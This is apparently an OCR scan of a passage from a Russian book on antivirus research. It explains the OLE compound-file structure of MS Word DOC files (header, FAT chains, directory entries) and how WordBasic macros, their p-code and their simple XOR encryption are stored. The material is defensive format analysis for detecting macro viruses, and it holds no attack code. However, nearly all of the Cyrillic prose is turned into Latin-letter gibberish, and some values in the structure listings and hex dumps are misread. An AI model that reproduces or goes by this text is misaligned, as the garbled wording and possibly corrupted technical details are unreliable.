Xarsa BUPYCOJI0roB nHGopMaumneri B COOTBETCTBUN C COr/iallleHUuem
NDA (Non Distributed Agreement — CornalueHve o gajabHeiLemM He-
pacrnpocTpaHeHnu), B 3TOM MHPOPMAaLIMN COAEPXKATOCh ONPeaeseH-
HOEe KO/IM4ecTBO OLUMOOK, 1 OHa bblna He roJsiHa. HekoTtopbie aHTUBU-
PYCHbIe KOMMaHum Obliiv 60Jiee ycreLlHbl B «06paTHoOM pa3paboTke».
B pesynbtate B aHTUBUPYCHbIX KOMMIaHWUSIX ObICTPO MOSIBUINCH Crie-
UmManncTbl HEOObLIYHOro NPoguas: akcnepTsl no ¢opmaram. Cpeau
JIY4LUMX CrieynaancToB rno ¢gopmaraM MOXHO yrioMsaHyTb Vesselin
Bontchev, Darren Chi, Peter Ferrie, Andrew Krukov («Crackov»), Igor
Muttik n Costin Raiu...

B 10 BpeMs Kak ofiHU «xakajny> Microsoft, Ipyrie 3aHUMAIICh TEM Ke
CaMbIM I10 OTHOIIIEHUIO K KOHKYpeHTaMm. Becnoit 1998-ro naske paspasui-
€S MAJICHBKUI CKAHATBUYUK MEXK/Y IBYMSI KPYIMHBIMU OTEUECTBEHHBIMU
AQHTUBUPYCHBIMI (DUPMAMI: O/[HA U3 HUX 0OHAPYIKUIA B TPOYKTE KOHKY-
peHTa (HparMeHThl CBOETO COOCTBEHHOTO (TO €CTh «II03aUMCTBOBAHHOTO»
u3 6ubmmorek Microsoft u «mrepesaToueHHOTr0» 110/ cebst) Kojia, MpeHa-
3HAUYEHHOTO [IJIs pa3bopa «CTPYKTYPUPOBAHHDBIX XPAHUIHUII>. KoMauuu
0OMEHMBAJIICh MHOTOUMCJIEHHBIMI IPO3HBIMU [TPECC-PETN3aMu, OOeIann
npuBJIeYb K pasbopkam TocapbuTpask... HO TIOTOM, CJIeTKa TIOOCTHIB U Olle-
HUB abCyPAHOCTD CUTYAIIH, CITYCTHJIN JIEJI0 HA TOPMO3aX.

H-na... beumm Bpemena... Ho teneps-To dopMar cTpyKTYypHpOBaHHO-
ro XpaHWJIMIA B 3HAUUTEIbHOI crenenn msBecteH. Ha pyGexke BeKoB
€To He 0YeHb TOUYHOE, HO JIOBOJILHO TOJKOBOE onucanue (MoJ[ KPacuBbIM
HauMeHoBaHueM «haiiosas cucrema Laolas) BBINLIO U3-1107 9JIEKTPOH-
Horo nepa Hekoero Mapruna IIBapiia. CriycTsi HECKOJIBKO JIET MOSIBU-
JICH JIOKYMEHTBI OT Pa3pabOTYNKOB «OTKPHITHIX» TpoekToB ClamAV n
OpenOffice, a s3umoii 2008 r. HakoHe1-To Ha caiiT Microsoft ObLIM BbLIO-
sKeHbl odurmanbiasie qokyMentor [51, 52]. To ectsb cmycrst moaTopa ze-
CSTKA JIeT TIOCJIE TOTO, KaK Y CUCTEMHBIX U TIPUKJIAJHBIX TIPOrPAMMUCTOB
MOSIBIJIACH B HEM HEOOXOMMOCTH)!
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Wrak, daiinbr nokymentoB MS Word ¢ pacumpenusimu <. DOC» u
«DOT» npencraBasior coboii C0xKHbIE 0OBEKThI, OPraHU30BAHHBIE 110
[IPAaBIJIAM «CTPYKTYPUPOBAHHOTO XpaHuauiiay. DakTuuecku CTpyKTypu-
POBaHHOE XpaHUJINIIE — 9TO OTe/bHas (haiioBast cucteMa oT Microsoft,
npumepHo Takas ke, Kak FAT uan NTFS, tonpko «kuBeT» oHa He Ha
Jcke, a B jipyrom daiie. CaM ke JUCKOBBIN (haits, XpaHsIuii BHYTPU
cebst «CTPYKTYPUPOBAHHOE XPAHUIIUIIE», Ha3bIBaeTCs «(haiiii-10KyMeHT>
(«docfile») nmu «cocrashoii daiin» («compound file»). ITepBblii TepMuH
npumensiicst Bo Bpemena OLE 1, Bropoii nosiBuiics B cepepune 90-x ro-
noB BmMecte ¢ OLE 2, ceifuac oy 00BIYHO UCIIOJIB3YIOTCS KAK CHHOHUMBI.
B OLE cymecTByeT elle IMOHATHE «COCTaBHOM HOKyMeHT» (<«compound
document»), HO 9TOT TEPMUH, BCTPEYAIOIIUIICA B KHUTAX U CTAThAX T10
OLE-aBroMaTusaiiuu, OTHOCUTCS K a0CTPAKTHOMY TO/IKJIACCY XPAHUJIHII]
0co60T0 BUJIa, PACIIOJIOKEHHDIX B OTIEPATHBHON TTAMSITH.

DOC-aiin pasbur na 512-6aiitoBble ceKTOPbI (KJACTEPbI), IPOHY-
MepOoBaHHbIe CIIeAYIONUM oOpasoM: <6e3 Homepa>, 0, 1, 2, 3... Boamox-
HO CYIIIeCTBOBAHME XPAaHWUJIUII ¢ ceKTopamu pa3mepom B 1024, 2048 u
4096 Gaiit, HO HU oiHa M3 coBpeMeHHbIX Bepcuil MS Word cospasaTh
TaKue JJOKYMEHTBbI He yMeeT. A BOT YATATh U PEJaKTUPOBATH TOKYMEHTBI
¢ «bonpmumuy» cekropamu MS Word mozxer.

Cekrop 6e3 HOMepa (caMblil IEPBBIH CEKTOP) 3aHMMAeT 3aroJ0BOK
DOC-aiina, naunnatomuiics ¢ curnatypsl « DO CF 11 EO A1 B1 1A El»,
ATa CUTHATYPa — 003aTeJbHBIN TIPU3HAK «CTPYKTYPUPOBAHHOTO XPaHHU-
sunia». OcrajibHble CeKTOPDI (haiiia cB43aHbl B 1I€MIOYKH, HATIPUMEDP Ha
pPHUCYHKe OJIHOH 1iertouke mpunaiexat cektops {0, 1}, npyroii — {3, 6, 2},
Tperbell — {4, 5}. B aTOM TIpuMepe TepBYIO IETIOYKY 3aHNUMAET TJIaBHBIN
«Kkamanoz» (ero elle NHOT/IA HA3bIBAIOT <«XPAHUIUWEM> ), B KOTOPOM yKa-
3aHbl HAYAJIbHbBIE CEKTOPBI BCEX OCTAJIbHBIX 1I€ITOYEK.

[ M

3AMONOBOK KATANOT

Puc. 5.9 « Llenoyka cektopoB B FAT
CTPYKTYPUPOBAHHOIO XpaHuUmLLa

3aroJIOBOK «CTPYKTYPUPOBAHHOTO XPAHUJIUIIA> HMEET CJIELYIONril
dopwmar:
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Magic DD EO011CFDOh ; +00h - "Marmyeckoe” 4uCNO, yHMKaNbHas CUrHaTypa
OLE DD E11AB1A2h ; +04h - "Marmyeckoe” 4ucno, npuaHak OLE

CLSID DB 16 dup (?) ; +08h - YHukanbhbit GUID gokymeHTa (4acTo nycT)
RevNum bW ? ; +18h - Homep pesusnm

VerNum bw 7?7 ; +1Ah - Homep Bepcuu

ByteOrder oW ? ; +1Ch - Nopspok 6antos (FFFEh - PC, FEFFh - MAC)
ClusterSize Dw 9 ; +1Eh - Jlorapuom pasmepa cektopa, 00b4HO 9
BlockSize DW 6 . +20h - Jlorapudm pasmepa maneHbkoro 6noka, obb4HO 6
R1 DB 10 dup (?) ; +22h - ?

BBDSize bb 7 ; +2Ch - KonuvecTBo cekTopoB B FAT BBD

DirStart bb 7 ; +30h - Agpec "rnasHoro katanora”

R2 bb ? ; +34h - 7

MinSiz pb ? ; +38h - MuHumanbHbIA pasmep noToka, pasdmewaeMoro B BBD
SBDStart Db ? ; +3Ch - Appec FAT SBD

SBDSize pb ? ; +40h - Pasmep FAT SBD B cekTopax

BBDStart bp ? ; +t44h - Appec 2-oi nonosuHbl cektopos FAT BBD
BBDSize bp ? ; +48h - Pasmep 2-oit nonosuHe FAT BBD B cekTopax
BBDBegin DD 109 dup (?) ; +4Ch - Nepsas nonosuHa cekTopoB ana FAT BBD

Kaskast nenouka ceKTOpoB COOTBETCTBYET KaKOMy-/100 00bekty. [To-
Jie3Hast nHGopMannsa XpaHUTCS B 0ObeKTax TUIIA «nomok». VIMeHa, pas-
Mepbl, aTpUOYThl U HaYaJIbHbIE CEKTOPbI PA3INYHBIX OOBEKTOB XPAHATCS
B «kamanozax» («xpanunuwax>). Ha camom niesie B aiise npucyrersyer
BCETO OJIMH «TJIABHBIII KATAJI0T», B KOTOPOM OIMCAHbBI BCe 00BEKTHI (1MMe-
Ha, aTpUOYThI, HAYAJIbHBIE CEKTOPBI LIeNouek u npoydee). «Ilogkaramorus>
SABJISIIOTCS COCTABHBIMU YaCTAMMU «TJIABHOTO KATAJIOTa», XOTSI HA HUX B HEM
MMEIOTCSI OT/IEJIbHbIE CCHUIKU. 3alliCh B «IJIABHOM KaTaJore» MMeeT JJIH-
Hy 128 Gaiitos:

Name dw 64 dup (?) ; +00 - Wmg obbekTa B dopmaTe UNICODE

Len dw ? ; +40h - [InuHa umeHn

Type db ? ; +42h - Tun panHbix: 1,5 - katanor; 2 - notok; 3 - lockbytes
Color db ? ; +43h - "UseT” y3na: 0 - KpacHuid, 1 — YepHsbiit

Left dd ? , +44h - Jleuln "HacnegHuk” yana

Right dd ? ; +48h - [paBbil "HacnemHuK™ yana

First dd ? ; +4Ch - NepBsuit "HacnepHuk™ (TONbKO e€cnW y3en - KaTanor)
GUID dd 4 dup (?) ; +50h - YHukanbHbii GUID noToka

R1 dd 5 dup (?) ; +60h - ?

Start dd ? ; +74h - CTapToBbil cekTop 00beKTa

Size dd ? ; +78h - Paasmep o0bekTa B bOaiTax

R2 dd ? ., +7Ch - ?

TTocmotrpure BHYTPD Kakoro-HuOyabp DOC-aiiia «Ha IPOCBET», 1 BbI
yBujaute cTpouky «Root Entry» —3T0 UMs 1epBoii 3a111CH B «IJIABHOM
karasore». Crycrst 128 6aiiToB (9T0 JIMHA 3alIUCKH) XPAHUTCS CJAELYIO-
tee umst (Hanpumep, «Word Do cumen t») u . 1. Keratu, otaesnbabie
JaTUHCKUE OYKBBI B MMEHAX OOBEKTOB pasjleieHbl He MpobesiaMu, a Hy-
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JIEBBIMU GaiiTaMi, Be/lb BCe TEKCTOBbIE JIaHHbIE TIPECTABJISIOTCS B KOJM-
poske Unicode. A pycckue GYKBbI pasfIesislioTCsl He HyJeBbIM OaliToM, a
6aiiToM ¢ KOZIOM «4»:

030h-039h
041h-05Ah
061h-07Ah
410h-42Fh
401h

-'a’ 430h-44Fh
451h

DN N ©

oo Mmoo > O
1

A eile B KaTtajiore MOTYT BCTPEYATHCS U «Hean(paBUTHO-TIU(PPOBBIE
umena, Harpumep «\1 C om p O b j», rne «\1» osHauaer GaiiT co 3Haye-
Huem 1.
ITpeanosaraercst, 4To Bee 0OBEKTHI B «CTPYKTYPUPOBAHHOM XPaHULJIU-
1me» HeslBHO MpoHyMepoBabl (HaunHast ¢ 0) n 06pa3yioT APEBOBUIHYIO
CTPYKTYPY, TO €CTh KTO-TO U3 HUX SBJSIETCS <KOPHEM», KTO-TO «BETBBIO»,
a KTO-TO — «JIUCTOM» JepeBa. VIMEHHO /JisT OMUCAHUS TOAYMHEHHOCTH
00bEKTOB B KaTajor BKJIoYeHbl 1oJist «Lefty («JleBbiii» ), «Right» («IIpa-
BbIli») u «First» («Ilepssiii»). Pacrnonoxenue y3ia Ha TOM WM WHOM
YPOBHE MepapXyuN OTIPeIesISIeTCS B COOTBETCTBUH C TIPABUJIAMHI «KPAcHO-
YEPHBIX JICPEBbEB»:
O xaskbiil y3est 1ubo YepHbIii, MO0 KPaCHBIN;
O «KoOpelb» [iepeBa U «TePMUHATIbHbIE CCHLITKU» U3 «JIUCTHEB» BCETIA
YepHbIE;

O mpesok KpacHOTO y3Ja BCEr/Ia YePHBIIT;

O  KOJMYECTBO YEPHBIX Y3JIOB HA BCEX «BETBSIX»>, BELYTINUX OT «KOPHS»
K «JIUCTBSIM», OTUHAKOBO.

«Kpacno-uepnast» oprammusaiiisi Tpedyer m00aBIsaTh U yIATSITh Y3J7Ibl
[0 ONpe/IeJeHHBIM TPABUJIAM, YTO TapaHTUPYeT COANaHCUPOBAHHOCTD
JIBOUYHOTO JIEPEBA U, CJIeJ0BATENbHO, 3 (DeKTUBHBIN TONCK B HeM. Ecim
JKe IepeBO MAJIEHbKOE, TO HITKAKOTO IIPEUMYIIIECTBA «KPACHO-UYEPHBIX»> Jle-
PEBBEB TEPesT IPYTUMU Pa3HOBUAHOCTAMIY HeT. [[a 1 BOoOTITe, ToTHYecKast
crpykTypa 06mekToB DOC-daiima cOOTBETCTBYET He IBONYHOMY JEPEBY,
HO /IEPEBY C TPOM3BOJILHBIM KOJIMUECTBOM BETBEH 1 JINCTHEB.

B karasiore MOTYT BCTPETUThLCS 3aTECH 00 0OBEKTaX CIIELYIONUX TUTIOB:

O 1 (Bnoxenusiit) uiau 5 (KOPHEBOIT) — KaTaJIOTH;

Q 2 - «moToku» («streams») — MeNOYKH GJIOKOB, COAEPIKAIINE KaKUe-

OO NaHHBIE;
O 3 — «zameprbie Gaiitei» («lockbytes») — 3apesepBupoBanHbie 11e-
IIOYKU OJIOKOB;
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Q 4 — «cBoiicTBay («property»).

Wrax, ctapToBbIii ceKTOp 06beKTa (HATIPUMED, TIOTOKA) XPAHUTCS B Ka-
tajore. A Kak y3HaTh, KaKHe ellle CEKTOPbI BXOST B HEMOUYKY, 06pa3yio-
11Y10 OOBEKT?

ITox Bce 06BeKTH B (haiisie BBIICACHBI BE GOJBINE TPYIIITHI JOTHIE-
ckux «6sokoB»: BBD (Big Blocks Depot — xpanuuiie 6oJbiiux 6J10-
koB) 1 SBD (Small Blocks Depot — xpaHuiuiine MajieHbKUX GJOKOB).
BBD cocrout u3 Bcex duszmueckux ceKTopoB aiina, U KaxkIblil TaKou
CEKTOP LEJIMKOM 3aHUMaET OTAe]bHbINA 512-6aiiTOBBII «00JbIION GI10K»
nanHbIX. SBD — 970 0/1HA 13 11eT10uek ceKTOPOB BHYTPH (paiisia, B Hell KaxK-
JIBIIT CEKTOP CUMTAETCST PAa3OUTHIM Ha OTIPe/IeJIEHHOE KOJUYECTBO MAJIEHb-
K1X 64-6aliTOBBIX JIOTHYECKUX «OI0UKOB>.

Kaxoii rpyiiiie «610K0B» (OOIbIINX MU MATEHBKIX ) COOTBETCTBYET
crierrasbHast tabymna pacupenenaetust FAT — File Allocation Table.

FAT BBD — aT0 MaccuB u3 4-6afiTOBBIX «3aluceil», Kakaas U3 KOTo-
PBIX COJEPKUT HOMED OJTHOTO 13 «OOJIBIIIX OJIOKOB» (TO €CTh (haKTHIECKU
cekropoB (aiisna). Hyesas 3anuich cooTBETCTBYET «OJOKY» ¢ HOMEPOM
0 (to ectb 512-6aiiToBOMY CeKTOpY, HaunHaIeMycst B (aiie mo abco-
sotHOMY cMertterro 200h), nepsas — «6710Ky» ¢ HoMepoM 1 (cMeriieHe
400h) u . 1. Ettie pas HartoMHKMM: caMbIil TIEPBBIH CEKTOP COCTAaBHOTO (haii-
Jia B 9Toil Tabsuite mpocto He yrmomuuaetcs! CopepkimMoe 4-6aiiToBOM
«3anucu» BBD mMoskeT mMeTh 01HO U3 CIelyI0NNX 3HaYeHUT:

O -3 = 0FFFFFFFDh wiu -4 = OFFFFFFFCh — npusHnak ciyxe6-

HOTO <OJIOKa»;

Q -2=0FFFFFFFEh - nocaennuii «6J10K» B 1IEIIOUKE;

O -1 =0FFFFFFFFh — nencnons3yembiit «0J10K»;

O wunoe >0 — HOMEp «B6JI0Ka», CJACAYIONIETO 32 TEKYIINM.

EcJiit MbI 3HaEM HOMEDP CTaPTOBOTO «OJIOKA» JIJIST KAKOTO-TO0 00bEKTA
(HampuMep, I TIOTOKA), TO JIETKO MOKEM BBITSIHYTb BCIO IIETIOUKY MTPH-
HaJIesKalUX eMy <«0JI0KOB» (TO ecTh ceKTOPOB (haiiia). Bor KOoHKpeTHbIi
npunmep. Ilycts hparmenT gamma aiina, cogepsxanmmii Hauano FAT BBD,
BBITJISITAT CIIE/LYIONNM 06pasoM:

0100 00 00 - 02 00 00 00 - 05 00 00 00 - 06 00 00 00

07 00 00 00 - 03 00 00 00 - FF FF FF FE - 08 00 00 00
FF FF FF FE - FF FF FF FD - FF FF FF FF - FF FF FF FF

JlaBaiite BbIIIMIIIEM 3HAYEHUS <CTPOYEK» TaOIUIbI B OoJIee YIO0OHOM J1J1st
ryasa opMe U B CKOOOUKaX KayKAOMY DJIEMEHTY IIPUIIMIIEM €r0 HOMEP:
(00) 01
(01) 02
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(02) 05
(03) 06
(04) 07
(05) 03
(06) -2
(07) 08
(08) -2
(09) -3
(0A) -1
(0B) -1

JlomycTHM, U3BECTHO, YTO CTAPTOBBII «OJI0K» TIOTOKA UMEET 3HAUCHHE
0. B HyJIeBOI CTPOYKE YUTAEM: CJIEYIONIHIT «0JIOK» TOTOKA MMEET HOMED
1. ITepexoaum K cTpouke HOMep 1 U y3HAEM, 4TO CIIeAYIOMUI «OJI0K> UMe-
eT HOMeP 2, U T. ;1. OKOHYATEJLHO TTOTyJIaeM IEeNOYKY HOMEPOB (hailmoBbIX
cextopos: {0, 1, 2, 5, 3, 6}. VIMeHHO B TaKOM MOpsI/IKe U pazmecTuy MS
Word ¢pparMeHTbl KaKOro-TO MOTOKa BHYTPH cocTaBHOTO (aiiial Keraru,
obpaTiTe BHUMaHUE HAa BKJIMHUBIIMECS KYCKU KAKOTO-TO JPYTOTO O0b-
eKTa, «<KUBYILEro» B «Omokax» {4, 7, 8}, u Ha nmycrble «GJOKU» ¢ HOMe-
pamu 0Ah u 0Bh. BeposiTHO, 9T0 CBUIETENBCTBO TOTO, UTO HAJ[ IOKYMEH-
TOM JIOJITO U MYYHUTETBHO pabOTaII: MHOTOKPATHO Y/IAJISITH U BCTABJISLIN
(bparmMeHTBI TEKCTA, PUCYHKH, (DOPMYJIBI 1 T. TI.

Cexropsl aiisa, 3anumaembie iepBoii osiosunoit FAT BBD, onmca-
HBI B KOHIIE 3aT0JI0BKa, HaurHas ¢ Oaiita 4Ch (mmosre «BBDBegin»). dtor
MaCCUB, KOTOPbIII TOKe TIOCTPoeH 110 nipaBuiaM FAT, MojkeT coziepaTh 110
119 anemenTtoB. Pacnonoxxenne FAT-maccuBa, onmuchIBAIONIET0 CEKTOPHI
«ocratka» FAT BBD (oH ectb T0JIbKO B (hailiax pasmepom Gosee 7 M6),
MOKHO y3HATh 110 cMernennio 44h (mone «BBDStart») B ToM e 3ar0/108-
ke. Ecim «octatkay FAT BBD Her, To B osie «BBDStarts xpanurcst 3ua-
yenue (-2).

A nist wero Hyskra SBD? OHa nipejHasHaueHa [ist OICcaHus 00beK-
TOB, XpaHAIINX HeOOIbIIe 0OBEMbI JaHHbIX. B caMoM zieie, pacxo1oBaTh
nesbiii 512-6aiiToBslii cextop Ha ctpoky «Hello!» 6bL10 GbI HepaloHaIb-
no. IToatomy B crpykType coctaBHoro gaiina 1peiycMoTpena BO3MOXK-
HOCTH pa3MelaTh JaHHbIe B MATIEHbKNX, 64-6aliTOBBIX «O6oukax» («small
blocks»). Maeonorust pacnonoxkenust 64-6afiTOBBIX «BIO0YKOB» TakKast
sKe, Kak 1 i 512-6aiiToBbIX «O0abmnX 0J10K0B». [0/ HUX BbleIsaeTCs
IIEMIOYKA CEKTOPOB COCTABHOTO (haiiyia, oTAeabHbIE «GIOUKH» B KOTOPOIl
nporymeposatbl ¢ 0. CtaproBblil agpec 9T0ii ob6sacti (TO €CTh HENOYKN
512-6aiiTOBBIX CEKTOPOB) YKa3aH B CTPAHHOM MECTE — B 3alIUCU «TJIABHOTO
KaTajora, IIOCBSIIEHHO CAMOMY «IJIABHOMY KaTaslory». Pacrosoxenue
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e 00beKTOB B o0mactu «6moukoB» onuckiBaercss 8 FAT SBD. Yucna B
«sanucsx» FAT SBD cooTBeTcTBYIOT He aOCOIIOTHBIM HOMepaM 512-06aii-
TOBBIX CEKTOPOB, & OTHOCUTEJIBHBIM HOMePaM 64-6aliTOBBIX «BIOYKOB>
BHYTPH IIETIOYKU CEKTOPOB.

Mecrononosxkenue craprosoro cekropa FAT SBD 6Gepercst us 3aroios-
ka cocraBHoro daiina (1o cmemtennio 3Ch, nmose «SBDStart» ).

Kax ysuats, B BBD nmm B SBD xpanutcs ToT uim uHoii 00bext? Ouenp
npocto — B noJie «MinSiz» 3arosioBka aiijia ykazat 1mpejieibHbIi pa3Mep
obbekTa B Gaiitax (06bruHO 4096). Ecii 00beKT MeHbIIe 3TOT0 pasMepa,
TO OH pacmosioker B SBD; nnaue — 8 BBD.

5.4.2. «[paBunbHbIi» BOCTYN K CTPYKTYPUPOBAHHOMY
XpaHunuiy

Bubmorexa «OLE2.DLL2 coaepskuT cpecTsa st paboThl CO «CTPYKTY-
pupoBaHHBIMHU XpaHusninamus. Dyukiws «stglsStorageFiles Bosspariia-
eT uig (haiiyia MPU3HaAK — 9TO CTPYKTYPUPOBAHHOE XPAHUJIHIIE WU HET.
Oymuknus «stgOpenStorage» oTKpbIiBaeT (hailyi XpaHuauiia u BO3Bpaiia-
et «unTepdeiic» «Istorage». D10 06BEKT KJIacca, COAEPIKAIIETO CBONCTBA
U METOJIBI JIISt PaBGOTHI CO CTPYKTYPUPOBAHHBIMU XPAHUITUTIAMEL
O «IStorage:OpenStorage> — OTKpbIBaeT MOJKATAJION, BO3Bpallast
uHTepdeiic A 10CTyNa K MOJYNHEHHBIM KaTajJoraM U MeTOJIbI
tuna «RenameElement», «KillElement» u nipoune;
O «IStorage::Release» — 3akpbIBaeT MOAKATAJIOT;
O «IStorage:EnumElements» — Bosspainaer unrepdeiic nepedmncim-
Tesist ¢ MeTogamu «Next», «Skip», «Reset» u T. 11.;
O «IStorage:OpenStreams» — OTKpbIBaeT MOTOK, BO3BpaIasi HHTEP-
(deiic «Istream» ¢ merogamu «Read», «Write», «Release» u T. 11.

VYBBI, NCTIOJIB30BAHUE HTOTO METO/IA COTIPSZKEHO C PSIZIOM CEPbe3HbIX He-
JIOCTATKOB.

Bo-nepsbix, npouenypst 13 oubanorexn «OLE2.DLL» oTkaseiBaioTcs
paboTaTh ¢ 3alIaPOJIEHHBIMU U «UCIIOPYEHHBIMI» JOKyMeHTaMu. B T0 Bpe-
MsT KaK BUPYChI B TAKMX JJOKYMEHTaX JKUBYT U IIPEKPACHO ceOsI UYBCTBYIOT.

Bo-BTOPBIX, CKOPOCTH PabOThI ITUX MPOLIELYP KpailHe HEBBICOKA.

Hakowner, B pasibix Bepcusx Oubanoreku cogepsxkarcs ounbku. Ha-
npumep, Bepeust u3 MS Word 6.0 He «00HYJIsAIa» HEUCTIONIB3YeMbIe CEK-
TOPBI «CTPYKTYPUPOBAHHBIX XPAHUJIHUII», B PE3yJbTaTe Yero BMecTe ¢
JIOKYMEHTaMU U 9JIEKTPOHHBIMU TaOJIUIIAME YACTEHBKO «YILIbIBAJIN» KOH-
dbunennmanbubie ganabie. A sepeun n3 MS Office 97 u 2000 «crpaganu»
yTeUKaMU JIMHAMUYECKON TTaMsITH.
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5.4.3. Makpocbl B Word-pokymeHTe

«CTpyKTYypUPOBaHHOE XPaHUIUIIE»>, GOPMAT U CIIOCOO HOCTYIA K KOTO-
POMY OTMCAHBI BhIIIIE, TTPeTHA3HAYEHO JIJIsT XPAHEHWST BHYTPH OJTHOTO JIHC-
KOBOTO (haiiia MHOKeCTBa MMEHOBAHHbBIX HAOOPOB JJaHHbIX, HA3bIBAEMBIX
norokamu. CocTaB ¥ Ha3HAUEHUE TOTOKOB, CO3/[AaHHBIX PA3HBIMU TTPUJIO-
JKEHUSIMU W PA3HBIMU BEPCUSIMU TIPUJIOKEHUTH, CYTIIECTBEHHO OTITHYAIOTCS

IPYT OT Jpyra.

5.4.3.1. Maxpocot na asvice WordBasic

[aBHBII KaTaJor TUIIMYHOTO AOKYMeHTa, cosgannoro 8 MS Word sep-
cuii 6.0 wn 7.0, BBIIAANT caeayionmmM o6pasoM (eM. Tabur. 5.2).

Tabnuya 5.2. KaTtanor cTpykTypupoBaHHOro xpaHnaviya,
co3pgaHHoro B MS Word 6.0

# Umsa Tun | Jles. | Mpas.. | Meps.. | CtapT | AnuHa | LBeT

0 | Root Entry 5 -1 -1 1 0D 380 1

1 [ WordDocument 2 2 3 -1 0 1231h 1

2| /1CompObj 2 -1 -1 -1 0 6A 1

3 | /5Summarylnformation 2 -1 4 -1 2 1DC 1

4 | /5DocumentSummary- 2 -1 -1 -1 0A D8 0
Information

E1iie potiiie ycTpoeH J0KyMeHT, cosaanHblii B pegakrope WordPad (em.
Tabi. 5.3).

Tabnuya 5.3. KaTtanor cTpykTypupoBaHHOro xpaHnauija,
cosgaHHoro B WordPad

# Umsa Tun | JleB. | MpaB. | MepB. | CtapT | AnuHa | LBet
0 | Root Entry 5 -1 -1 1 3 9COh 0
1 | WordDocument 2 2 2 -1 0 902h 1
2 [ /1CompObj 2 -1 -1 -1 25 6Eh 0

HaGop u HasHaueHHWe MOTOKOB BHYTpM (haiijia, OpPraHu30BaHHOTO
B dopmare MS Word 6.0/7.0, npakTruecku He 3aBUCAT OT HAJTUYUA WK
OTCYTCTBHS KapTHHOK, TabJIMIl, MAKPOCOB | T. M. [JIaBHYIO POJib MrpaeTr
MOTOK €O cTaHAapTHBIM uMeHeM « WordDocuments, cofepskaniiii BHyTpu
cebst cobeTBeHHO oKyMeHT MS Word — TekeT, KapTHHKY, MaKPOCHI, CJIy-
skeOHyo nHbopMalio U T. 1. CyliecTByer ouIlHasbHast JOKYMEHTAIH:
«Microsoft Word for Windows 6.0 Binary file formats, koropast onmcbisa-
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eT CTPYKTYPY 9TOr0 OTOKA. Bipouem, HoAPOOHOCTH XpaHEHNsI MAKPOCOB
B 9TOM JIOKYMEHTE OIUCAHBI HE TTOJHOCTBIO.

B nauvase noroka «WordDocuments» pacrosioxeHn orpoMHbII 3aroJio-
Bok (FIB — File Information Block), 8 koropom Hac MoryT 3amHTepeco-
BaTh BCETO JINMIb HECKOJIBKO TOJIEH:

Magic DD ? ; +000h - CurHaTypa (65A5DC, 68A5DC, 68A697, 68A699...)
RO DB 6 dup(?) :

Type Dw ? ; +00Ah - Onaru, mnagwuin 6uT: 0- AokymeHT; 1- wabnoH
R1 DB 268 DUP (?)

Mpos DD ? ; +118h - CmeweHne Makpo3aronoBka B NOTOKe

Mlen DD ? ; +11Ch - [lnuHa makpo3aronoska

Ecii nokyment MS Word comepskut Makpocst, To 1o aapecy 118h B ero
3aroJI0BKe COJEP:KUTCST CMeTeHNe MaKpo3aroJoBKa, TO eCTh CTPYKTYPHI,
coziepsKateil OmIcaHmst MaKPOCOB:

Magic DW 01FFh ; +00h - MpusHak Makposaronoska
Nmacr DW ? . +02h - Konu4yecTBO Makpocos
Emacr DB 40h ; KoHeu makposaronoska

Ecaum kosmyecTBO MakpocoB HeHyJIeBOe, TO cpa3y 3a 1noJsimu «Magic»
un «Nmacr» pa3Meniaercsi CoOoTBeTCTBYIOIIee KOJUUeCTBO olucaTeseil Mak-
POCOB, Kax/Iblii M3 KOTOPHIX COOTBETCTBYET cJeaytomei 24-6aiitoBoit

CTPYKTYpE:

Vers db ? ; +00h - Bepcus makposdbika - 55h

Key db ? ; +01h - Knioy wndpaumm makpoca (ecav 0, TO HezauwudpoBaH)
RO db 10 dup (?) ; ?

Mlen dd ? ; +0Ch - [nuna makpoca

R1 dd ? ; +10h ;?

Mpos dd ? ; +14h - CmeweHne TekcTa Makpoca

[Tose B KOHIIE OTIMCaTe s YKAa3bIBAET HA CMeET[eHIIe BHYTPU OTOKA, T/Ie
PACTIOIOKEeH «9aCTUIHO OTKOMITMJINPOBAHHBII» TEKCT MaKpoca — Tak
HasbIBaeMbiil «p-code». KoMMeHTapuy 1 KOHCTAHTBI XPAHSITCS B IEPBO-
HavaJbHOM BH/IE, a KioueBbie cioBa («fors, «while» u 1. 11.), «tekcembi»
(MpU3HAK CTPOKM, TPU3HAK YUCTA W T. T.) U UMeHa (DYHKIIUI 1 KOMaH/I
(«MacroCopy», «MsgBox» 1 T. 11.) 3aKOIUPOBAHbI IBOMYHBIMU KOJIAMU.
Bort, HanpumMep, Kak BBITJISIINT UCXOIHBIN TEKCT ITPOCTENTIIET0 MaKpoca:
Sub MAIN

MsgBox "Hello!™, """, 16
End Sub

ITO ero H.[eCTHaHL[aTepI/I‘IHbII'/JI JLaMII:

000: 01 00 64 1B-69 04 4D 41-49 4E 64 67-2B 80 6A 06 . d.1i.MAINdg+Aj.
010: 48 65 6C 6C-6F 21 12 6A-00 12 6C 10-00 64 1A 1B Hello!.j .1. d.
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A 370 pacin@poBka «p-Kojiar:

0001 <Homep makpoca>

64  <HoBas cTpoka>

1B Sub

69  <CTpoka 6e3 KkaBbl4ek>

04  <[lnuHa CcTpokn 6e3 KaBblyek> = 4

4 M
41 A
49 I
4E N

64  <Hoeaw cTpoka>

67 <Komanpa>

802B MsgBox

6A  <CTpoka B KaBbl4Kax>

06  <[lnnHa CTpPOKW B KaBbl4ykax> = 6
48
65
6C
6C
6F
21
12
6A  <CTpoka B KaBbykax>

00  <[nuHa cTpokM B KaBblykax> = 0
12

6C  <lenas koHcTaHTa>

0010 <3Ha4eHne uenoil KOHCTaHTH> = 16
64  <Hoeaa cTpoka>

1A End

1B Sub

— 0o H — ® T

Maxkpoc MoskeT okazaTbest 3amudpoBanabiM. [Indposanue mponsso-
JIUTCS aBTOMATUYECKU TIPU CO3JAHUM WJIM KOITMPOBAHUU MaKpOCa, eCJIn
B Komanzie «MacroCopy» mocJieiHnii mapaMeTp YCTAaHOBJIEH HEHYJIEBBIM.
B aToM carydae mpocMOTp M peflakTUpoBaHue 3ampPOBAHHOTO MaKpoca
cpencrBamu MS Word HeBo3amoskHbI. Ho i poBaHue Tesia MaKpoca Bbi-
MOJIHSIETCST KPaifHe MTPUMHUTUBHO — [0 JITOPUTMY MOOUTOBOTO <«HCKJIIO-
vatotiero MJIM» (XOR) ripu moMoriu 0iHOGAHTOBOTO KJTH0Ya, YKA3aHHO-
ro B 3ar0Ji0BKe Makpoca. [Toaromy, Haripsimyto obpaiiasice k DOC-gdaiiy,
MaKpOC JIerKO pacindpoBaThb.

[Tocsie onmcareseir MAaKPOCOB B MaKpPO3aroJIOBKe Pa3MEIIAlOTCs CIIUC-
